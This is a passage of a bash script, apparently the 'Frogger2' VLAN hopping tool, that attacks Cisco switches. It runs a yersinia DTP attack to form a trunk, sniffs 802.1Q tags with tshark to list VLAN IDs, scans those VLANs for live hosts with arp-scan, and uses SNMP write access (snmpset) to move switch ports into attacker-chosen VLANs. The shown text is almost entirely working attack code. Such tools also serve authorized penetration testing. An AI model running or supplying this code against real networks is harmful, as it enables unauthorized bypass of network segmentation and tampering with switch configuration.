printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "That port number does exist, try again."
dtpvlaninwhichport
else
dtpvlanwhichportset
fi
}
snmphopvlaninwhichportset(){
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------"
printf '\r%s %s\n' "${BRIGHT}${RED}[?]${NORMAL} Which VLAN ID number do you want to move port ${BRIGHT}${GREEN}$SNMPPORTNUMIN${NORMAL} into? enter number and press ENTER"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------${NORMAL}"
read SNMPVLANIN
printf '\n\n'
#make/ensure it is an access port (otherwise will fail on some switches)
snmpset -v $SNMPVER -Cq -c $SNMPCOM $IP "1.3.6.1.4.1.9.9.46.1.6.1.1.13.""$SNMPPORTNUMIN" i 2 2>/dev/null
sleep 2
snmpset -c $SNMPCOM -v $SNMPVER $IP 1.3.6.1.4.1.9.9.68.1.2.2.1.2.$SNMPPORTNUMIN i $SNMPVLANIN >/dev/null 2>&1
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "Port ${BRIGHT}${GREEN}"$SNMPPORTNUMIN"${NORMAL} should now be in VLAN ${BRIGHT}${GREEN}"$SNMPVLANIN"${NORMAL}."
}
snmphopvlaninwhichport() {
printf '\n\r%s\n' "${BRIGHT}${RED}------------------------------------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the port number from the list below to change the port VLAN press ENTER"
printf '\r%s\n' "${BRIGHT}${RED}------------------------------------------------------------------------------------${NORMAL}"
snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1 |awk '{print $NF}' >listports.tmp
LISTPORTS=$(cat listports.tmp)
printf '\r%s\n\n' "${BRIGHT}${GREEN}$LISTPORTS${NORMAL}"
read SNMPPORTNUMIN
cat listports.tmp | grep -o -w "$SNMPPORTNUMIN" >/dev/null 2>&1
if [ $? != 0 ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "That port number does exist, try again."
snmphopvlaninwhichport
else
snmphopvlaninwhichportset
fi
}
#attack menu
if [ -n "$READW" ]
then
attackselforotherchoice
else
dtplistmodes
fi
}
#snmpvlanattack function end
#snmpextract (read only) function start.
snmpextractro(){
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the IP address of the device and press ENTER"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------${NORMAL}"
read IP
echo $IP | egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' >/dev/null 2>&1
if [ $? != 0 ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "You entered an invalid IP address format."
snmpvlanattack
else
snmpextractrorun
fi
}
snmpextractrorun() {
MYMAC=$(ip addr |grep link/ether | awk '{print $2}' |sort -u |tr ':' ' ')
printf '\n\r%s\n' "${BRIGHT}${RED}-------------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the SNMP community string and press ENTER"
printf '\r%s\n\n' "${BRIGHT}${RED}-------------------------------------------------------${NORMAL}"
read SNMPCOM
# nmap to check SNMP is open
nmapsnmpro() {
NMAP=`nmap -sU -sV -p $PORT $IP -n -Pn 2>&1 |grep "open" | awk '{ print $2 }'`
if [ "$NMAP" = "open" ]
then
printf '\r\n%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "SNMP was found enabled on ${BRIGHT}${GREEN}"$IP"${NORMAL}"
else
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP is either closed or filtered from this device. Check connectivity and try again. Script can't continue."
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
fi
}
# SNMP community string checks
scansnmpcomro() {
printf '\r\n%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now testing SNMP community with ${BRIGHT}${GREEN}"$SNMPCOM"${NORMAL} string."
snmpwalk -t 0.5 -c $SNMPCOM -v $SNMPVER $IP 1.3.6.1.2.1.1.1.0 >/dev/null 2>&1
if [ $? != "0" ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "SNMP community name of "$SNMPCOM" did not work, or this is not a Cisco device."
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
fi
COMSCAN="$SNMPCOM"
snmpwalk -v $SNMPVER -c $COMSCAN $IP 2>/dev/null |head -1 |grep -i iso >/dev/null
if [ $? = 0 ]
then
printf '\r%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "Valid Community String was found ${BRIGHT}${GREEN}"$COMSCAN"${NORMAL}"
GETLOCATION=$(snmpwalk -v $SNMPVER -On -c "$COMSCAN" $IP "$WRITEOID" 2>&1 |cut -d ":" -f 2 | cut -d '"' -f 2)
fi
}
#alter port numbers if different switch models into 10001 format.
alterportint() {
PORTSIZE=$(cat yourport.tmp |wc -L)
if [ "$PORTSIZE" = "1" ]
then
sed -i -e 's/^/1000/' yourport.tmp
elif [ "$PORTSIZE" = "2" ]
then
sed -i -e 's/^/100/' yourport.tmp
else
sed -i -e 's/^/10/' yourport.tmp
fi
}
vlanextractro() {
printf '\r\n%s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Extracting all Read-Only VLAN Information, please wait"
VLANIDS=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.3" 2>&1 |grep 'STRING: "' |awk '{print $1}' | cut -d "." -f 16 >ids.tmp)
VLANNAMES=$(snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.3" 2>&1 |grep 'STRING: "' |awk '{print $NF}' |sed 's/"//g' >names.tmp)
COUNTVLANS=$(cat ids.tmp |wc -l)
if [ "$COUNTVLANS" = 0 ]
then
printf '\r\n%s %s \n\n' "${BRIGHT}${RED}[!]${NORMAL}" "No VLANs were found on this device, it is likely this device does not VLANs at all"
#remove tmp files
rm *.tmp 2>/dev/null
exit 1
else
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "There are ${BRIGHT}${GREEN}"$COUNTVLANS"${NORMAL} VLANs configured on this device."
paste ids.tmp names.tmp |column -t 2>&1 >idsnames.tmp
IDNAMES=$(cat idsnames.tmp)
printf '\r%s \n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
printf '\r%s\n' "${BRIGHT}${GREEN}$IDNAMES${NORMAL}"
printf '\r%s \n\n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
fi
FINDMYPORT=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.1 2>&1 |grep -i "$MYMAC" |awk '{print $NR}' |cut -d "." -f 13-20)
YOURPORT=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.2 2>&1 |grep "$FINDMYPORT" |awk '{print $NF}'|sort -u)
if [ "$YOURPORT" != "OID" ]
then
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are connected into port ${BRIGHT}${GREEN}"$YOURPORT"${NORMAL} on the device"
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are within the default VLAN ${BRIGHT}${GREEN}1${NORMAL}"
VLANID2="1"
echo "$YOURPORT" >yourport.tmp
#detect if switch port numbers are in different format (as snmpset will fail if 1 and port is 10001)
COUNTPORTLENGTH=$(snmpwalk -On -c $SNMPCOM -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1 |awk '{print $NF}' |wc -L)
if [ $COUNTPORTLENGTH -gt 2 ]
then
alterportint
fi
else
printf '\r%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "It seems your port is not within the default VLAN 1, it will take more checks to establish your port and VLAN"
printf '\r%s %s \n\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "In order to find your port I will need to run ${BRIGHT}${GREEN}$COUNTVLANS${NORMAL} SNMP queries (one for each VLAN ID)"
for VLANID2 in $(cat ids.tmp)
do
FINDMYPORT2=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID2" -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.1 2>/dev/null |awk '{print $NR}' |cut -d "." -f 13-20 |awk '{print $NR}')
if [ -n "$FINDMYPORT2" ]
then
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are within VLAN ${BRIGHT}${GREEN}"$VLANID2"${NORMAL}"
VLANID3=$VLANID2
fi
#FINDMYPORT3=$(cat myport2.tmp |grep -v "OID")
YOURPORT2=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID3" -v $SNMPVER $IP .1.3.6.1.2.1.17.4.3.1.2 2>/dev/null |grep "$FINDMYPORT2" |awk '{print $NF}'|sort -u)
done
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "You are connected into port ${BRIGHT}${GREEN}"$YOURPORT2"${NORMAL} on the device"
echo "$YOURPORT2" >yourport.tmp
#detect if switch port numbers are in different format (as snmpset will fail if 1 and port is 10001)
COUNTPORTLENGTH=$(snmpwalk -On -t 2 -c $SNMPCOM@"$VLANID3" -v $SNMPVER $IP .1.3.6.1.2.1.2.2.1.1 2>&1|awk '{print $NF}' |wc -L)
if [ $COUNTPORTLENGTH -gt 2 ]
then
alterportint
fi
fi
}
#list DTP modes on all ports
dtplistmodesro() {
snmpwalk -c $SNMPCOM -v $SNMPVER $IP "1.3.6.1.4.1.9.9.46.1.6.1.1.13" 2>&1 |sed -e "s/INTEGER: 1/${DTP1}/g" |sed -e "s/INTEGER: 2/${DTP2}/g" |sed -e "s/INTEGER: 3/${DTP3}/g" | sed -e "s/INTEGER: 4/${DTP4}/g" |sed -e "s/INTEGER: 5/${DTP5}/g" | sed -e "s/iso.3.6.1.4.1.9.9.46.1.6.1.1.13./Switch Port /g" >listmodes.tmp
LISTDTPMODESRO=$(cat listmodes.tmp)
printf '\r%s %s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following DTP port modes are configured"
printf '\r%s\n\n' "${BRIGHT}${GREEN}$LISTDTPMODESRO${NORMAL}"
}
#nmap check snmp is open function
nmapsnmpro
scansnmpcomro
vlanextractro
dtplistmodesro
#remove tmp files
rm *.tmp 2>/dev/null
}
#snmpextract r-o function end
cdpdevicename() {
DEVID=$(cat $OUTPUT | grep -i "device id:" |cut -d ":" -f 2 |sed 's/^[ \t]*//;s/[ \t]*$//' |sort -u)
if [ -z "$DEVID" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "I didn't find any devices. Perhaps it is not a Cisco device."
else
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following Cisco device was found."
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n\n' "${GREEN}$DEVID${NORMAL}"
fi
}
cdpnativevlan() {
NATID=$(cat $OUTPUT | grep -i "native vlan:" |cut -d ":" -f 2 |sed 's/^[ \t]*//;s/[ \t]*$//' |sort -u)
if [ -z "$NATID" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "I didn't find any Native VLAN ID within CDP packets. Perhaps CDP is not enabled."
else
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following Native VLAN ID was found."
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n\n' "${GREEN}$NATID${NORMAL}"
fi
}
cdpmandomain() {
MANDOM=$(cat $OUTPUT |grep -i "domain:" |cut -d ":" -f 2 |sed 's/^[ \t]*//;s/[ \t]*$//' |sort -u)
if [ "$MANDOM" = " " ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "The VTP domain appears to be set to NULL on the device. Script will continue."
elif [ -z "$MANDOM" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "I didn't find any VTP management domain within CDP packets. Possibly CDP is not enabled. Script will continue."
else
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following Management domains were found."
printf '%s \n' "${BRIGHT}${GREEN}----------------------------------------------------------${NORMAL}"
printf '\r%s %s \n\n' "${GREEN}$MANDOM${NORMAL}"
fi
}
cdpmanip() {
MANIP=$(cat $OUTPUT | grep -i "ip address:" |cut -d ":" -f 2 |sed 's/^[ \t]*//;s/[ \t]*$//' |sort -u)
if [ -z "$MANIP" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "I didn't find any management addresses within CDP packets. Try increasing the CDP time and try again."
show_menuscdpzero
read_optionscdpzero
printf '\n'
elif [ "$MANIP" = "0.0.0.0" ]
then
printf '\r%s %s \n' "${BRIGHT}${RED}[!]${NORMAL}" "CDP reported the management address of ${BRIGHT}${RED}0.0.0.0${NORMAL} which is incorrect. This can happen from time to time with CDP."
show_menuscdpzero
read_optionscdpzero
printf '\n'
fi
if [ "$MANIP" != "0.0.0.0" ]
then
cdpmanipshow
fi
}
show_menusnovlanids() {
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------------"
printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "Do you want to run the DTP scan again to check for VLAN IDs?"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------------${NORMAL}"
printf '\r%s \n\n' "${GREEN}[1]${NORMAL} - Run the VLAN DTP attack again and extract VLAN IDs - time will increase by "$DTPSECR" seconds."
printf '\r%s \n\n' "${RED}[2]${NORMAL} - Exit the Script and kill all attack processes."
}
read_optionsnovlanids() {
TXT=$(printf '\r%s %s \n' "${BRIGHT}${RED}[?]${NORMAL}" "${BRIGHT}Enter choice: [ 1 - 2 ]${NORMAL}")
local choice
read -p "$TXT" choice
case $choice in
1) onevlanids ;;
2) printf '\n\n \r%s %s\n\n' "${BRIGHT}${BLUE}[i]${NORMAL} Frogger2 script exited."; rm *.tmp 2>/dev/null ; exit 0 ;;
*) printf '\n\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL} Invalid menu selection." && sleep 2
esac
}
# Launch DTP attack
dtpattack() {
screen -d -m -S yersina_dtp yersinia dtp -attack 1 -interface $INT &
SECONDS=0;
while sleep .5 && ((SECONDS <= $DTPWAIT)); do
printf '\r%s %s %2d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now Running DTP Attack on interface $INT, waiting" "$(($DTPWAIT-SECONDS))" "seconds to trigger."
done
printf '\n\n'
}
# Extract DTP VLAN Info after attack
dtpattackextract() {
if [ "$DTPATKRETRY" = "true" ]
then
TAGSEC=$(($TAGSEC+$DTPSECR))
fi
tshark -a duration:$TAGSEC -i $INT -Y "vlan" -x -V 2>&1 |grep -o " = ID: .*" |awk '{ print $NF }' | sort --unique >vlanids.tmp &
SECONDS=0;
while sleep .5 && ((SECONDS <= $TAGSEC)); do
printf '\r%s %s %2d %s' "${BRIGHT}${BLUE}[i]${NORMAL}" "Now Extracting VLAN IDs on interface $INT, sniffing 802.1Q tagged packets for" "$(($TAGSEC-SECONDS))" "seconds."
done
printf '\n\n'
# wait to ensure dtp write has finished to file and in sync
sleep 3 &
SECONDS=0;
while sleep .5 && ((SECONDS <= 3)); do
printf '\r%s %s %1d' "${BRIGHT}${BLUE}[i]${NORMAL}" "Saving DTP Capture" "$((3-SECONDS))"
done
printf '\n\n'
VLANIDS=$(cat vlanids.tmp)
if [ -z "$VLANIDS" ]
then
printf '\n \r%s %s\n\n' "${BRIGHT}${RED}[!]${NORMAL}" "No VLAN IDs were found within captured data."
show_menusnovlanids
read_optionsnovlanids
else
printf '\r%s \n\n' "${BRIGHT}${GREEN}[+]${NORMAL}" "The following VLAN IDs were found"
printf '\r%s \n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
printf '\r%s\n' "${BRIGHT}${GREEN}$VLANIDS${NORMAL}"
printf '\r%s \n' "${BRIGHT}${GREEN}-----------------------------------------------${NORMAL}"
fi
}
dtpdevicescan() {
SCANSDTP=$(echo "$MANIP" |cut -d "." -f 1,2,3)
if [ -n "$SCANSDTP" ]
then
DTPMANIPSCAN="Looking at the management address, try to scan "$SCANSDTP".0/24. the Subnet mask is not known so could be /8 /16 etc"
else
DTPMANIPSCAN="No CDP Management address was found. Unable to guess a subnet to scan"
fi
printf '\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------------------------------------------------------------------"
printf '\r%s %s\n' "${BRIGHT}${RED}[?]${NORMAL}" "Enter the IP address or CIDR range you wish to scan for live devices in i.e 192.168.1.1 or 192.168.1.0/24"
printf '\n \r%s %s\n' "${BRIGHT}${BLUE}[i]${NORMAL}" "$DTPMANIPSCAN"
printf '\r%s\n' "${BRIGHT}${RED}----------------------------------------------------------------------------------------------------------------------${NORMAL}"
read IPADDRESS
clear
checkvlanlivedevices() {
ARPSCANVLAN=$(arp-scan -Q $VLANIDSCAN -I $INT $IPADDRESS -t 500 2>&1 |grep "802.1Q VLAN=")
arp-scan -Q $VLANIDSCAN -I $INT $IPADDRESS -t 500 2>&1 |grep "802.1Q VLAN=" >/dev/null
if [ $? = 0 ]
then
printf '%s\n' "- ${BRIGHT}${GREEN} Devices found${NORMAL}"
printf '\n\r%s\n' "${BRIGHT}${BLUE}$ARPSCANVLAN${NORMAL}"
else
printf '%s\n' "- ${BRIGHT}${RED}No devices found${NORMAL}"
fi
}
for VLANIDSCAN in $(cat vlanids.tmp)
do
printf '\n \r%s %s' "${BRIGHT}${BLUE}[i]${NORMAL} Now scanning ${BRIGHT}${GREEN}$IPADDRESS - VLAN $VLANIDSCAN${NORMAL} for live devices" ; checkvlanlivedevices
done
}
createvlaninterface() {
printf '\n\r%s\n' "${BRIGHT}${RED}------------------------------------------------"
printf '\r%s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the VLAN ID to Create i.e 100"
printf '\r%s\n\n' "${BRIGHT}${RED}------------------------------------------------${NORMAL}"
read VID
printf '\n\r%s\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------------------------"
printf '\r%s %s\n' "${BRIGHT}${RED}[?]${NORMAL} Enter the IP address you wish to assign to the new VLAN interface ${BRIGHT}${GREEN}$VID${NORMAL} i.e 192.168.1.100/24"
printf '\r%s\n\n' "${BRIGHT}${RED}--------------------------------------------------------------------------------------------------------------${NORMAL}"
read VIP
modprobe 8021q >/dev/null 2>&1